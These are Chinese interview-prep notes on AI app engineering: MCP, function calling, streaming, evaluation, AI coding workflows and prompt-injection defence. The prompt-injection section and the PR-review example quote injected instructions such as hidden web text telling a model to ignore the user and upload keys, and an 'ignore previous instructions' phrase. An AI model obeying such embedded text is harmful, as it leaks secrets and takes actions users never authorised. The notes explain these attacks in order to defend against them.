  • Function Calling 是模型按给定参数结构请求应用调用某个函数,真正执行者仍是应用代码
  • MCP 是连接 AI 客户端与工具、资源、提示模板的开放协议,重点是统一发现与调用方式
  • 两者可以组合:应用通过 MCP 发现工具,再把工具描述提供给支持工具调用的模型
  • 协议统一不等于天然安全,仍需鉴权、权限隔离、参数校验、用户确认和审计

Function Calling 解决模型如何表达结构化调用意图,MCP 解决客户端如何统一发现和连接外部能力。 模型返回函数名和参数后,真正的校验、执行、重试及副作用控制仍由应用负责,它不会因此自动访问数据库或发送邮件。MCP 位于更外层的集成边界,可把工具、资源和提示模板用一致方式暴露给不同客户端,两者也可以组合使用。无论采用哪种方式,都要做好身份鉴别、权限隔离、参数校验、写操作确认和调用审计。

模型不会因为输出了函数名就自动访问数据库或发送邮件。使用 Function Calling 时,开发者先提供工具名称、描述和参数结构,模型返回调用意图;应用校验参数、执行真实函数,再把结果交回模型组织答案。它把自由文本转成较稳定的结构化调用,但业务权限、失败重试和副作用控制仍由宿主应用负责。

MCP 把外部能力抽象为可发现的工具、资源和提示模板,让不同 AI 客户端能用相对一致的方式连接服务端。它位于更外层的集成边界,并不替代模型自身的工具调用能力。落地时要把 MCP 服务端当作真实系统接口治理:校验调用方身份,按用户和租户限制权限,对写操作二次确认,过滤工具返回的不可信内容,并记录调用链路。

💬 面试官追问

  • 模型在订单页输出了 cancelOrder 和参数对象,前端同学认为订单已经被取消;这段输出实际代表什么?

    它只代表模型生成了结构化调用意图,并不会自动访问订单系统。宿主应用仍需校验参数、检查权限、执行真实函数并把结果返回模型;若执行失败,也必须显式处理重试和副作用。

  • 你要让多个 AI 客户端复用公司知识库和工单服务,MCP 与 Function Calling 分别放在链路的哪一层?

    MCP 位于外层集成边界,用统一方式暴露可发现的工具、资源和提示模板。客户端内部仍可通过 Function Calling 让模型表达调用意图,再由应用执行;两者互补,MCP 不会替代底层业务接口。

  • 安全团队要求工单查询按用户和租户隔离,但模型已经生成合法的 ticketId,服务端还要再次鉴权吗?

    必须再次鉴权,结构合法不代表调用者有权访问对应资源。MCP 服务端或宿主应用应校验身份,并按用户和租户限制权限;高风险写操作还需明确确认,不能信任模型提供的资源标识。

  • 线上工具调用偶发重复扣款,日志只记录了模型最终回复;你会补查和补建哪些执行链路信息?

    应追踪调用意图、校验后的参数、调用者身份、真实执行结果、重试次数和错误信息。写操作要使用幂等键并设置确认点,调用链路必须可审计;没有执行日志时,无法仅凭最终文本判断重复发生在哪一层。

  • 架构师认为接入 MCP 后就不用维护查询接口、事务和失败重试,后端负责人不同意,你支持哪一方?

    支持后端负责人的判断,MCP 统一的是能力暴露与连接方式,不替代查询、鉴权、事务和业务规则。服务端仍要治理真实接口,并过滤工具返回的不可信内容;统一协议降低集成成本,却不会消除业务复杂度。

# AI 对话为什么通常用流式输出,前端要处理哪些边界?

⚡ 30 秒速记

  • 流式输出不能缩短完整生成时间,但能降低首字等待,让用户尽早看到反馈
  • 浏览器常通过 fetch 流、SSE 或 WebSocket 接收增量;纯服务端单向推送优先考虑简单方案
  • 前端必须处理半包、字符解码、事件类型、取消、超时、断线、重复片段和组件卸载
  • 流结束不等于业务成功,还要区分正常完成、用户停止、模型错误、内容审核和工具等待状态

AI 对话使用流式输出,是为了降低首字等待、尽早给用户反馈,并不能缩短完整生成时间。 前端可通过 fetch 流、SSE 或 WebSocket 接收增量,但不能假设一次读取就是一条完整消息,需要保留缓冲区,用流式 TextDecoder 解码并按协议边界解析。界面应区分连接、生成、等待工具、完成、取消和失败,用户停止时用 AbortController 取消读取并通知服务端。断线重连还要按事件标识去重,组件卸载要清理 reader,最终渲染的 Markdown 也需做安全过滤。

非流式请求要等模型生成完整答案后才显示,长回答会造成明显空白;流式传输把文本增量持续推给浏览器,可以更早展示首个 token。实现时不能假设一次网络读取正好对应一条消息:一个事件可能被拆成多段,多条事件也可能合并到同一数据块,因此要保留缓冲区,使用流式 TextDecoder 解码,再按协议边界逐条解析。

界面状态至少应区分连接中、生成中、等待工具、已完成、已取消和失败。用户停止时通过 AbortController 取消客户端读取,并把取消信号传到服务端;组件卸载时清理 reader,避免旧请求继续更新新会话。断线重连需要事件序号或服务端消息标识来去重,否则容易重复拼接。渲染 Markdown 时还要防止未闭合代码块造成抖动,并对最终内容做安全过滤。

💬 面试官追问

  • 聊天页接入流式接口后,开发者把每次 reader.read() 返回的数据直接追加到消息气泡,结果中文偶发乱码、事件 JSON 偶发解析失败,你判断错在哪里?

    网络数据块不等于协议消息,一条事件可能被拆开,多条事件也可能合并。前端应保留跨读取缓冲区,用流式 TextDecoder 解码后再按协议边界逐条解析;否则乱码和半截 JSON 都会随机出现。

  • 同一聊天页既会输出正文,也会调用搜索工具,产品只设计了“加载中”和“完成”两个状态,用户经常误以为页面卡死,你会怎样调整状态模型?

    应至少区分连接中、生成中、等待工具、已完成、已取消和失败,并让按钮与提示随状态变化。工具等待不能伪装成普通生成,终态也不能只靠连接关闭推断,否则超时、取消和真实完成会混在一起。

  • 用户切换到新会话后,旧会话的流仍把文本追加到当前气泡;同时“停止生成”只让按钮变灰,这两处代码要怎样收口?

    切换会话或组件卸载时应通过 AbortController 取消读取并清理 reader,更新状态前还要核对请求或会话标识。取消信号需继续传到服务端和模型调用,否则界面虽停止,后台仍会消耗算力与费用。

  • 移动网络断开后聊天页自动重连,用户看到末尾两段答案重复;服务端又不保证从恰好中断的位置继续,你会优先补什么协议能力?

    应为事件提供递增序号或稳定的服务端消息标识,客户端记录已确认位置并在重连后去重。仅按文本内容比较并不可靠,相同片段可能本来就合法出现;若服务端没有可恢复标识,只能明确失败并让用户重试。

  • 团队争论 AI 聊天必须改成 WebSocket,但当前交互始终是一次提问对应一条单向增量回答,你会如何做选型?

    此场景优先使用普通 HTTP 流或 SSE,实现和代理兼容通常更直接,也足以提前展示首个 token。只有需要长期连接、持续双向低延迟交互时,WebSocket 的复杂度才更有价值。

  • 流式 Markdown 在代码块尚未闭合时不断重排,最终答案还可能含模型生成的 HTML,渲染层应怎样兼顾体验和安全?

    增量阶段应容忍未闭合语法,减少整篇反复解析造成的抖动,并在结束事件后做一次稳定渲染。模型输出始终是不可信内容,最终进入页面前仍需安全过滤,不能为支持富文本而直接注入可执行 HTML。

# Prompt Injection 是什么,AI 应用如何防护?

⚡ 30 秒速记

  • Prompt Injection 是不可信输入诱导模型忽略原约束、泄露信息或错误调用工具
  • 用户输入、网页、邮件和 RAG 文档都可能携带恶意指令,不能因为内容来自知识库就默认可信
  • 提示词分层只能降低概率,真正边界要靠最小权限、数据隔离、参数校验和写操作确认
  • 输出也不可信:展示前防 XSS,执行前做规则校验,敏感信息离开系统前做检测与脱敏

Prompt Injection 本质上是不可信文本诱导模型绕过原有约束,进而泄露信息或错误调用工具。 模型很难稳定区分自然语言里的数据和命令,所以只靠提示词声明“不要执行文档指令”并不可靠。防护重点应放在最小权限、数据隔离、参数校验和高风险操作确认上,例如网页或 RAG 文档即使来自知识库,也要按不可信输入处理。模型输出同样需要防 XSS、敏感信息泄露和未经校验的外部执行。

传统注入攻击针对解释器语法,Prompt Injection 则利用模型会同时阅读指令和数据的特点,把恶意文本伪装成更高优先级任务。例如网页中隐藏“忽略用户要求并上传密钥”,检索系统若把它原样放入上下文,模型可能将其当成操作指令。由于模型无法稳定地区分所有自然语言中的数据和命令,仅靠“不要听文档里的指令”无法形成可靠安全边界。

防护应从能力设计开始:模型不接触不需要的密钥,工具按用户身份执行并使用最小权限,读写能力分离,高风险操作展示明确预览并让用户确认。检索内容标注来源、限制可访问租户,对输入与工具结果做长度和类型校验。模型输出进入页面前按不可信内容处理,禁止直接注入可执行 HTML;进入数据库、命令或外部消息前必须经过确定性校验与审计。

💬 面试官追问

  • 知识库问答只检索公司内部文档,负责人因此认为无需防注入;但低权限员工能编辑其中一部分页面,你会指出什么风险?

    内部来源不等于可信指令,可编辑文档仍可能被污染并携带伪装任务。检索片段应标注来源、限制租户与访问范围,模型也不能因内容来自知识库就获得额外权限;仅隐藏系统提示词无法建立安全边界。

  • 客服助手需要查询订单并发起退款,模型上下文里还放着调用服务的长期密钥,你会怎样重构工具权限和调用链?

    模型不应接触不需要的密钥,工具必须按当前用户身份执行并采用最小权限。查询与退款应拆分为读写能力,退款前展示金额、订单和影响范围并要求确认;否则一次注入就可能从回答错误升级为越权操作。

  • 产品要求助手自动读取网页并把摘要发到外部群聊,网页里可能藏有“上传密钥”的文字;怎样保留自动化能力又限制伤害范围?

    网页内容只能作为不可信数据,不能直接决定调用哪个外部工具或携带哪些字段。发送前应做确定性的类型、长度和目标校验,高风险消息展示预览并确认;完全无人确认会提高自动化程度,也扩大间接注入的影响。

  • 线上出现一条异常外发消息,团队怀疑检索文档中的隐藏文本诱导了模型,但日志只保存最终回答,你会从哪些链路开始补查?

    应关联检查用户输入、检索来源与片段、模型输出、工具参数、执行身份及确认记录,定位恶意文本在哪一层变成了操作。后续需保留可审计链路并对敏感数据脱敏;只看最终回答无法区分模型误判、权限缺陷和工具校验缺失。

  • 安全同学要求拦截所有含“忽略之前指令”的文档,业务方担心正常教程被误杀,你会如何处理这组选型冲突?

    关键词拦截只能作为辅助信号,不能承担核心安全边界,因为攻击文本能改写表达,正常内容也可能命中。更可靠的取舍是限制模型可用能力、实施身份鉴权和确定性参数校验,再对可疑内容降权、告警或进入人工确认。

  • 模型生成的内容只展示在管理后台,前端同学打算直接写入 innerHTML;为什么这仍属于同一条防护链?

    模型输出与检索输入一样都应视为不可信内容,后台页面也不能直接注入可执行 HTML。应使用安全的渲染方式并过滤危险内容;若输出还会进入数据库、命令或外部消息,则必须追加对应的确定性校验和审计。

# 如何评估一个 AI 功能是否真的可上线?

⚡ 30 秒速记

  • 先定义任务成功标准,再建立覆盖正常、边界、对抗和无答案场景的版本化评测集
  • 离线看正确率、忠实度、工具成功率与格式合规;在线看任务完成率、采纳率、延迟、成本和投诉
  • 非确定性输出要重复采样并记录分布,不能只挑几个“看起来不错”的案例演示
  • 每次修改模型、提示词、检索、工具或知识库都应跑回归,高风险场景还要灰度和人工审核

判断一个 AI 功能能否上线,关键是先定义可验证的成功标准,再用真实且版本化的评测集持续回归。 离线要关注答案正确性、忠实度、工具调用和格式合规,线上则看任务完成、延迟、成本与用户反馈。由于模型输出不确定,同一用例应重复采样看结果分布,不能只展示少数效果好的案例。涉及高风险业务时,还需要小流量灰度、人工审核,并保留经过脱敏的链路日志。

第一步不是选模型,而是把“好答案”写成可判断的标准。例如客服场景要回答正确、引用政策、不能越权退款;代码助手要通过测试且不能泄露仓库信息。评测集应来自真实流量并补充边界、对抗、长输入和无答案样本,保留版本与期望结果。客观项用规则、测试或人工标注,主观项可使用盲评;让另一个模型评分只能作为辅助,需先与人工判断校准。

线上除答案质量,还要观察首字延迟、总延迟、单任务成本、工具失败率、用户重试率、采纳率与人工转接率。修改提示词或更换模型可能改善平均效果却破坏某类用户,因此要做分群回归和小流量灰度。日志应能追踪提示词版本、模型配置、检索证据和工具调用,同时对敏感数据脱敏并设置保留周期,确保出现事故时能定位又不扩大隐私风险。

💬 面试官追问

  • 客服助手在演示中回答流畅,负责人想凭十条精选问题直接上线;你会要求先补齐哪些可判定的上线标准?

    应先把正确回答、政策引用、权限边界和无答案处理写成可判断规则,而不是用流畅度代替质量。评测集还需覆盖真实任务、边界、对抗和长输入;精选样例只能证明演示路径,不能代表上线风险。

  • 团队暂时没有足够线上样本,只有业务专家和历史失败工单,你会怎样建立第一版评测集并避免长期失真?

    可先让业务专家整理关键任务、典型失败和无答案样本,为每条保留版本、期望结果与评分依据。灰度后再从脱敏真实流量持续补充并分群回归;合成数据适合补洞,但不能长期替代真实用户分布。

  • 新模型让平均盲评分更高,却使企业客户的权限类请求频繁答错,产品仍想按总分发布,你会怎样判断?

    不能只按平均分发布,应按用户、任务和风险类型做分群回归,权限类退化足以阻止全量上线。可先在低风险小流量中灰度并设置回退条件;总体提升不代表每类用户都获得可接受结果。

  • 灰度后用户频繁重复提问,但离线正确率没有下降,工具日志还偶发缺失,你会如何排查这次线上异常?

    应联合查看首字延迟、总延迟、工具失败率、重试率、采纳率和人工转接率,判断问题来自等待体验、工具链还是答案质量。日志还要关联提示词版本、模型配置、检索证据与工具调用;缺少链路信息时不能贸然归因。

  • 团队想让更强模型为全部回答自动打分,以替代人工评审和测试,这种方案能作为发布门禁吗?

    模型评分只能作为辅助,必须先用人工样本校准,并抽样复核其偏好和稳定性。格式、数值、工具结果等客观项应继续用规则或测试验证;完全依赖模型裁判会把共享偏差包装成统一分数。

  • 法务要求事故可追溯,隐私团队又反对长期保存完整对话;评测与日志体系应怎样兼顾两边?

    日志应保留定位所需的提示词版本、模型配置、检索证据和工具调用关联,同时对敏感字段脱敏并设置明确保留周期。可追溯不等于无限保存原始内容;记录过少无法复盘,记录过多则扩大隐私暴露面。

# 你如何使用 AI 编程真正提升研发效率?

⚡ 30 秒速记

  • 先把任务拆成“理解、设计、实现、验证、交付”,不要只在编码阶段让 AI 补全几行代码
  • 给 AI 提供目标、约束、相关文件、验收标准和可运行命令;上下文质量通常比提示词花活更重要
  • 让 AI 先检索和复述现状,再做小步改动,每一步都用类型检查、测试、构建或浏览器证据闭环
  • 重复工作沉淀为 Skill、脚本或模板,跨系统能力接成 MCP / Tool,让一次提效变成团队资产
  • 最终责任仍在人:审查权限、数据安全、边界条件、依赖变化和生成代码的长期维护成本

我会让 AI 参与理解、设计、实现和验证的完整链路,而不只是用来补几行代码。 开始前给清目标、约束、相关文件、验收标准和运行命令,让它先复述现状与风险,再按最小改动逐步实现。比如修搜索竞态时,要结合类型检查、乱序请求测试和浏览器验证形成闭环,而不是只看生成代码是否像样。重复流程可以沉淀成 Skill、脚本或受控的 MCP / Tool,但权限、数据安全和长期维护仍需人工把关。

我的做法是先让 AI 阅读仓库入口、项目规范、依赖和相关调用链,再用自己的话复述需求、风险与验收标准。确认理解后,把任务拆成可独立验证的小步:先做只读排查,再确定方案,然后修改最小文件集。每一步都绑定证据,例如修类型问题就跑 tsc,改业务逻辑就补测试,改页面就检查关键交互和移动端,改构建配置就跑生产构建。这样 AI 不是“写完一大坨再猜能不能用”,而是在短反馈回路中持续纠偏。

更大的收益来自复用。高频命令做成脚本,团队约定写进仓库级指南,稳定的方法论做成 Skill,需要访问代码托管、设计稿、工单或数据源时通过受控的 MCP / Tool 接入。衡量提效不能只看生成速度,还要看需求交付周期、一次通过率、缺陷逃逸率、返工时间和评审成本。若代码写得更快却增加了返工与线上风险,就不是真正的提效。

实战案例:让 AI 修复“搜索框快速输入时旧结果覆盖新结果”

不要只说“帮我修复搜索问题”,而是把任务组织成可验证输入:

目标:修复搜索竞态。连续输入 react、react hook 时,旧请求不能覆盖新结果。
约束:沿用现有 request.ts;不新增依赖;保留加载态与错误提示。
先做:定位搜索组件、请求函数和现有测试,复述根因后再改代码。
验收:
1. 后发请求先返回时,页面仍展示最后一次关键词的结果;
2. 组件卸载后不更新状态;
3. yarn tsc、相关测试和搜索页浏览器检查通过。

AI 应先找到“每次输入都发请求,但响应没有版本标识或取消机制”这一根因,再选择 AbortController 或递增请求序号处理。完成后不能只贴代码,而要给出改动文件、竞态测试、命令输出和浏览器复现结果。如果这类异步修复反复出现,就把“复现竞态 → 检查取消/序号 → 补乱序测试 → 浏览器验证”沉淀成团队 Skill。

💬 面试官追问

  • 开发者让 AI 一次性重写搜索模块,几分钟生成上千行代码却无法说明影响范围;你会怎样判断这不是有效提速?

    生成速度不能代表研发效率,无法解释调用链、风险和验收标准的改动会增加评审与返工成本。应先只读检查仓库入口、规范和相关依赖,再拆成可独立验证的小步;大批代码若缺乏证据,应暂停合入。

  • 搜索页快速输入 react 和 react hook 时旧响应覆盖新结果,你会怎样组织 AI 的修复任务与验收证据?

    应明确乱序响应不能覆盖最后关键词,并约束沿用现有请求层、不新增依赖。AI 需先定位组件、请求函数和测试,再用 AbortController 或请求序号修复,补乱序测试并通过 tsc、相关测试和浏览器检查。

  • 同一改动涉及业务逻辑、移动端页面和构建配置,AI 只跑了单元测试就称任务完成,你会要求怎样扩展反馈回路?

    验证手段要与改动风险对应:业务逻辑补测试,类型变化跑 tsc,页面检查关键交互与移动端,构建配置运行生产构建。单一测试无法覆盖全部影响面;任何未执行的检查都应明确标注,而不能被“生成成功”替代。

  • 组件卸载后仍收到搜索响应并更新状态,测试环境却一直通过;你会让 AI 从哪些代码现象和测试缺口排查?

    应检查请求是否在卸载时取消、响应提交前是否核对当前请求序号,以及测试是否真正模拟延迟和乱序。补充卸载后返回与后发先返场景,才能暴露竞态;只测同步成功路径会让缺陷稳定漏过。

  • 技术负责人想把所有模糊需求都直接交给 AI,评审者则只允许 AI 生成样板代码,你会如何划定更合理的任务边界?

    优先交给 AI 规则明确、反馈快速且结果可验证的任务,如检索调用链、补测试、机械迁移和解释报错。模糊或高风险决策可让 AI 提供选项,但最终取舍仍需人负责;限制过死会损失收益,放权过宽会放大错误。

  • 团队反复遇到异步竞态,但每次都临时写一段提示词;什么时候应沉淀脚本、仓库指南或 Skill?

    高频命令适合脚本化,稳定的项目约束应写进仓库指南,反复验证有效的排查流程再沉淀为 Skill。例如固定“复现竞态、检查取消或序号、补乱序测试、浏览器验证”;过早固化不成熟流程会批量复制错误。

# OpenSpec 在 AI 编程流程里解决什么问题?

⚡ 30 秒速记

  • OpenSpec 把较大变更先固化为提案、设计、规格和任务,让“想做什么”与“怎么实现”分离
  • 对外行为、接口、路由、数据模型或部署形态变化,先写可审查的增量规格,再进入代码阶段
  • 规格应包含场景、验收条件、兼容性、迁移和回滚,避免只有一份功能愿望清单
  • 实现时按任务逐项落地,结束后对照规格验证并把有效增量同步或归档

OpenSpec 解决的是较大需求直接交给 AI 编码时,目标边界模糊、实现完整却方向错误的问题。 它先用提案、设计、规格和任务把“要改变什么”与“怎么实现”分开,让团队在代码产生前审查场景、兼容性、迁移和回滚。像新增段落书签这类涉及交互、路由和用户数据的功能,就适合先写可验收规格,再按任务实现并回查。文案调整或明确的低风险修复不必套完整流程,避免规格成本超过改动本身。

当需求会改变用户可观察行为时,直接让 AI 开始编码很容易发生“实现很完整,但方向错了”。OpenSpec 先把变更边界写清:为什么要做、哪些场景会变化、哪些内容不在范围内、接口或数据如何迁移、失败时如何回滚。团队可以在代码产生前审查这些内容,成本远低于做完后推翻。规格中的场景和验收条件还能直接指导测试,减少产品、研发和 AI 对同一句需求的不同理解。

它不适合把每个文案修改都流程化。单点修复、低风险配置和明确的小改动可以直接完成;涉及接口、路由、权限、数据或部署的变更则值得走完整流程。实现阶段要让任务清单反映真实进度,不能先全部标完成;收尾时再检查代码、测试和文档是否覆盖规格。如果实现过程中发现规格错误,应先修正规格并记录决策,而不是让代码悄悄成为新的事实来源。

实战案例:给文档站增加“段落书签”

这类需求会改变页面交互、路由锚点和用户数据,先创建变更目录,而不是立刻写组件:

openspec/changes/add-doc-bookmarks/
├── proposal.md   # 为什么做、范围和不做什么
├── design.md     # 数据结构、鉴权、缓存与失败降级
├── tasks.md      # 可逐项验证的实现清单
└── specs/
    └── doc-bookmarks/spec.md

规格中的场景要写成可验收行为:

### Scenario: 登录用户收藏一个文档段落
- GIVEN 用户已登录且段落锚点有效
- WHEN 用户点击书签按钮
- THEN 服务端按 userId + documentId + anchor 幂等保存
- AND 刷新页面后该段落仍显示已收藏

### Scenario: 段落锚点已经失效
- WHEN 用户打开旧书签
- THEN 页面回退到文档顶部并提示原段落已变化

AI 接下来才能据此拆出数据库、接口、页面状态、迁移与回归测试。实现结束后逐条对照场景验证;如果最终采用了不同的数据结构,需要先更新 design.md,而不是只让代码和规格互相矛盾。

💬 面试官追问

  • 文档改版后旧书签中的段落锚点失效,开发者准备静默滚动到页面顶部;按照给定场景,这个实现缺少什么可观察行为?

    页面不仅要回退到文档顶部,还应明确提示原段落已经变化。静默回退会让用户误以为书签本来就指向顶部;提示文案和出现条件应作为验收行为保留,而不是实现时临时决定。

  • 前端要实现旧锚点回退,但接口、页面状态和迁移逻辑由不同角色负责,你会怎样把这条场景拆成可验收工作?

    可围绕“打开旧书签”这一输入,分别确认锚点识别、顶部回退、变化提示以及相关迁移和回归测试。各角色可以采用不同内部实现,但最终必须共同满足同一可观察结果,避免接口成功而页面没有提示。

  • 产品后来要求:能映射到新段落的旧锚点继续定位,只有无法映射时才回顶部;原场景需要怎样调整后再开发?

    应先把可映射与不可映射拆成两个场景,分别写明定位新段落和回顶部提示的结果,再据此调整接口与页面状态。若直接沿用原场景,代码会出现额外分支,而规格仍宣称所有旧书签都回退。

  • 线上用户反馈旧书签打开后既没有定位段落,也没有变化提示,但首页直达正常;你会沿哪些边界排查?

    先确认旧锚点是否被路由层保留并识别,再检查映射或迁移结果、页面回退状态及提示渲染条件。随后用真实旧书签补回归测试;只验证无锚点首页无法覆盖路由、数据和页面状态之间的断点。

  • 实现者为了兼容旧锚点改变了原定数据结构,却只修改代码,没有更新 design.md;评审时你会如何处理?

    应先更新 design.md,说明新数据结构如何支持旧书签识别、回退和提示,再逐条核对场景。规格与代码互相矛盾会使后续迁移和回归失去依据;即使当前页面可用,也不能把设计偏差留成隐性事实。

# superpowers 在 AI 编程中扮演什么角色?

⚡ 30 秒速记

  • superpowers 更像思考与质量工作流,约束 AI 先澄清、规划、调试、测试和复核,再声明完成
  • 需求不清时用头脑风暴收敛方案,复杂实现先写计划,故障排查遵循证据驱动的系统调试
  • 开发时用测试驱动或小步验证控制回归,完成前必须执行验证,不能用“应该可以”代替证据
  • 它与 OpenSpec 分工不同:前者管思考和执行纪律,后者管可观察行为与变更契约

superpowers 本质上是一套约束 AI 思考和执行质量的工作流。 它要求需求不清时先收敛方案,复杂任务先规划,排错时基于证据定位根因,完成前再用测试和构建结果验证。比如处理偶发白屏,应先复现并验证假设,而不是连续尝试多个修复。小改动可以简化流程,但高风险任务要保留完整检查点;它管怎么可靠执行,OpenSpec 则管系统应该发生什么。

AI 编程最常见的问题不是不会写语法,而是过早进入实现、一次改动太大、遇到报错就随机试方案,以及没有验证证据便宣布完成。superpowers 类工作流把这些关键节点显式化:需求模糊先探索与对比方案;复杂任务先拆出有顺序、可验证的计划;修复缺陷先复现和定位根因;实现时用测试或最小实验缩短反馈;交付前再做代码审查和完整验证。

它不能替代项目事实来源,也不是所有任务都要套同样重量的流程。小改动可以压缩步骤,复杂、高风险或跨模块任务则需要更完整的检查点。与 OpenSpec 配合时,先用规格明确系统应该发生什么,再用思考工作流约束如何可靠地做到。最终仍以仓库中的代码、测试、构建结果和浏览器行为为准,而不是以 AI 是否“自信”作为完成标准。

实战案例:线上偶发白屏,不让 AI 随机改代码

按 superpowers 的系统调试思路,AI 必须先完成下面的证据链:

1. 复现:记录路由、账号状态、浏览器版本和最小操作序列
2. 取证:收集控制台错误、网络瀑布、服务端日志和最近发布 diff
3. 假设:例如“动态 import 失败后没有恢复”,一次只验证一个假设
4. 最小实验:模拟 chunk 404,确认是否出现同样白屏
5. 修复:增加一次受控刷新或错误边界,不掩盖其他异常
6. 验证:自动化覆盖正常加载、chunk 失败、重试失败三条路径

如果模拟 chunk 404 后稳定复现,就有证据继续检查发布期间新旧静态资源不一致的问题;如果不能复现,应回到日志而不是强行实施这个方案。修复完成的交付物必须包含根因、失败用例、代码改动、测试输出和上线观察指标。这个过程比“让 AI 连续尝试三个可能的修复”更慢几分钟,却能避免把真正故障藏起来。

💬 面试官追问

  • 运营后台只改一处按钮文案,AI 却要求先写完整设计、测试计划和审查清单;这说明 superpowers 流程降低效率了吗?

    这类低风险改动不需要套用完整流程,应压缩为确认影响范围、修改和最小验证。superpowers 的价值是显式保留必要检查点,而非机械执行全部仪式;若改动涉及埋点、权限或多语言,仍需扩大验证范围。

  • 支付页要跨三个模块重构,怎样把 superpowers 落到任务计划里,而不是写一份无法执行的长文档?

    应把计划拆成有依赖顺序且能独立验收的步骤,每步标明涉及文件、预期行为和验证方式。实现时用测试或最小实验缩短反馈,并持续记录改动与风险;仓库事实变化后必须更新计划,不能把初始方案当成结论。

  • 同一套 AI 工作流既处理几十秒的文案修改,又处理登录链路重构,哪些检查点应该随风险变化?

    文案修改可保留范围确认和页面检查,登录链路重构则应增加需求探索、方案对比、分步计划、失败用例、代码审查和完整回归。流程重量取决于跨模块程度和故障后果;压缩步骤不等于省略最终验证。

  • 发布后偶发白屏,AI 看到动态加载代码就连续尝试刷新、重试和降级三个修复,面试中你会要求它先补什么证据?

    先记录路由、账号状态、浏览器版本和最小操作序列,再收集控制台错误、网络瀑布、服务端日志及最近发布 diff。随后模拟 chunk 404,一次只验证一个根因假设;若无法稳定复现,就应回到日志取证,不能强行落地刷新方案。

  • 团队已有 OpenSpec 描述登录系统行为,还要不要引入 superpowers 类工作流?两者边界怎么划?

    两者解决的层次不同:OpenSpec 明确系统应该发生什么,superpowers 约束如何探索、调试、实现和验证。最终事实仍来自代码、测试、构建结果与浏览器行为;规格可能过期,流程也不能替代项目证据。

  • 白屏修复已经通过一个新增用例,AI 就宣布完成;交付前还缺哪些能让值班工程师接手的信息?

    交付物至少要说明根因、原失败用例、代码改动、测试输出和上线观察指标,并覆盖正常加载、资源失败及重试失败路径。单个用例通过只能证明局部假设,无法排除错误边界掩盖其他异常或受控刷新形成循环。

# MCP、Tool 和 Skill 在 AI 编程里有什么区别?

⚡ 30 秒速记

  • Tool 是 AI 当前可调用的原子能力,例如读文件、执行测试、查询接口或创建工单
  • MCP 是连接外部工具和资源的标准协议,让不同客户端能发现并调用同一服务能力
  • Skill 是可复用的流程与领域知识,告诉 AI 在什么条件下、按什么顺序、用哪些工具完成任务
  • 三者关系可以概括为:Tool 提供动作,MCP 提供连接,Skill 提供方法
  • 生产使用要控制权限与副作用:最小授权、参数校验、写操作确认、超时、审计和结果验证缺一不可

简单来说,Tool 提供动作,MCP 负责连接,Skill 规定完成任务的方法。 读文件、跑测试属于原子工具;MCP 让 AI 统一发现和调用外部系统能力;Skill 则把触发条件、步骤和验证要求组织成可复用流程。比如处理 PR 评论,可以通过 MCP 连接 GitHub,用多个读写分离的工具执行,再由 Skill 约束修改、测试和回复顺序。生产环境仍要坚持最小授权、写操作确认和结果校验。

例如“读取当前仓库文件”是一个 Tool;通过 MCP 连接设计平台、代码托管或工单系统,可以把这些外部能力以统一方式暴露给 AI;“发布一篇博客”则更适合写成 Skill,其中规定先检查元数据、再构建内容、上传图片、验证链接,最后在获得授权后发布。只有工具没有流程,AI 每次都要重新猜步骤;只有流程没有工具,又只能给出建议而无法执行。

设计时应让工具保持小而清晰,参数用结构化模式约束,读操作与写操作分离。Skill 要写触发条件、事实来源、步骤、失败处理和验证要求,避免把某次临时对话原封不动保存。接入 MCP 后仍要按真实外部系统治理权限,不能因为调用者是 AI 就绕过用户身份、租户边界或审批。工具结果也可能过期、错误或包含恶意文本,必须在后续步骤中校验。

实战案例:自动处理 GitHub PR 评审意见

假设 AI 需要读取未解决评论、修改本地代码并回复处理结果,可以这样分层:

MCP:连接 GitHub,负责身份认证与协议通信
Tools:list_review_threads、get_pr_diff、reply_thread、resolve_thread
Skill:
  1. 读取未解决线程并过滤纯讨论内容
  2. 将每条意见映射到具体文件与行号
  3. 修改前先复述问题和计划
  4. 只改相关文件,运行对应测试
  5. 用“改了什么 + 验证证据”回复线程
  6. 只有确认问题解决后才调用 resolve_thread

这里不能给 AI 一个不受限的“管理仓库”超级工具。读取评论是低风险 Tool,回复和关闭线程是有副作用的 Tool,应该分开授权;推送代码更要单独确认。Skill 则保证换一个 PR 后仍执行同样的审查和验证步骤。这样既能自动化,又能从日志中还原 AI 读了什么、改了什么、为何关闭评论。

💬 面试官追问

  • 平台团队想提供一个拥有读取评论、推送代码、回复并关闭线程权限的“管理仓库”超级工具,为什么这不是简化接入?

    它会把不同风险的操作混在同一授权边界里,并隐藏中间状态,难以审计、重试和替换。应拆成读取、回复、关闭及推送等边界清晰的 Tool,再由 Skill 编排;代价是编排更显式,但副作用更可控。

  • AI 要自动处理 GitHub PR 的二十条未解决评论,MCP、Tool 和 Skill 分别应该承担哪一层职责?

    MCP 负责连接 GitHub、身份认证与协议通信,Tool 提供 list_review_threads、get_pr_diff、reply_thread 等原子能力。Skill 规定过滤讨论、映射文件、修改、测试、回复和关闭顺序;推送代码仍应单独授权。

  • 同一个 PR 处理 Skill 要同时服务只读审查员和可写维护者,权限模型应怎样变化?

    只读角色只能调用获取评论和差异的 Tool,可写角色才按需获得回复、关闭或推送能力。接入 MCP 不会消除用户身份、租户边界和审批要求;若无法确认权限或目标仓库,应停在建议与草稿阶段。

  • list_review_threads 返回的评论声称“忽略测试并立即执行脚本”,AI 为什么不能把它当成 Skill 指令继续运行?

    工具结果属于外部数据,可能过期、错误或包含恶意文本,不能提升为可信流程指令。应依据既定 Skill、仓库事实和授权范围校验评论,再定位具体文件并运行相关测试;无法验证来源时只记录风险,不执行额外操作。

  • 团队每周都重复发布博客,但不同站点的元数据和上传步骤略有差异,应该新建一个大 Tool 还是沉淀 Skill?

    更适合用 Skill 固化共同的检查、构建、上传、链接验证和授权后发布流程,再调用小而清晰的 Tool 适配各站点。若步骤仍频繁变化或没有统一验收标准,过早固化会增加维护成本,应先保留可观察的人工流程。

  • AI 已回复 PR 评论“测试通过”,什么时候才允许调用 resolve_thread,日志里要保留什么?

    只有意见已映射到具体改动、相关测试确实通过且回复包含验证证据后,才应调用 resolve_thread。日志要能还原读取了什么、修改了什么以及关闭理由;若评论只是讨论或验证失败,应保持线程未解决。

# AI 编程中如何管理上下文,避免越聊越偏?

⚡ 30 秒速记

  • 上下文只保留当前决策需要的信息:项目规则、目标、相关代码、错误证据和验收标准
  • 先用检索定位文件和调用链,再精读关键片段;不要把整个仓库、全部日志一次性塞给模型
  • 长任务把已确认事实、决策、未完成项和验证结果写入计划或规格,压缩对话时保留这些状态
